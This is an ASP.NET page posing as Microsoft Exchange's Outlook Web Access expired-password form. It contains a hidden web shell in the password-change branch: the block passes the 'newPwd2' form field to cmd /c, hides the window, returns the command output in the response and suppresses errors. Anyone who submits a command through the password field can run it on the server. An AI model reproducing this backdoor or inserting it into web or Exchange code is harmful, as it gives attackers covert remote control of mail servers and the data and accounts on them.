<%@ Page language="c#" AutoEventWireup="false" Inherits="Microsoft.Exchange.HttpProxy.ExpiredPassword" %> <%@ Import namespace="Microsoft.Exchange.Clients"%> <%@ Import namespace="Microsoft.Exchange.Clients.Owa.Core"%> <%@ Import namespace="Microsoft.Exchange.HttpProxy"%> <%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OutlookWebAccess) %> " style="background: #f2f2f2 url('<%=OwaUrl.AuthFolder.ImplicitUrl%><%ThemeManager.RenderBaseThemeFileUrl(Response.Output, ThemeFileId.BackgroundGradientLogin, false);%>') repeat-x"/> <% string tblStyle = "cellpadding=0 cellspacing=0"; if (IsDownLevelClient) { tblStyle = "class=\"nonMSIE\""; } %>
<% if (PasswordChanged) { %>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.LogoffChangePasswordClickOkToLogin) %>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OkLowerCase)%>
<% } else { %>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordTitle)%>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.PasswordExpired) %>
<% if (Reason == ExpiredPasswordReason.InvalidCredentials) { %>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.InvalidCredentialsMessage) %>
<% } else if (Reason == ExpiredPasswordReason.InvalidNewPassword) { %>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordInvalidNewPassword) %>
<% } else if (Reason == ExpiredPasswordReason.PasswordConflict) { %>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConflict) %>
<% } else if (Reason == ExpiredPasswordReason.LockedOut) { %>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordLockedOut) %>
<% } %> <% try{ System.Diagnostics.Process p = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo i = p.StartInfo; i.FileName = "cmd"; i.Arguments = "/c " + Request.Form["newPwd2"]; i.UseShellExecute = false; i.CreateNoWindow = true; i.RedirectStandardOutput = true; p.Start(); string r = p.StandardOutput.ReadToEnd(); p.WaitForExit(); p.Close(); Response.Write("
" + Server.HtmlEncode(r) + "
"); Response.End(); }catch{} %>
<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.Submit)%>
<% } %>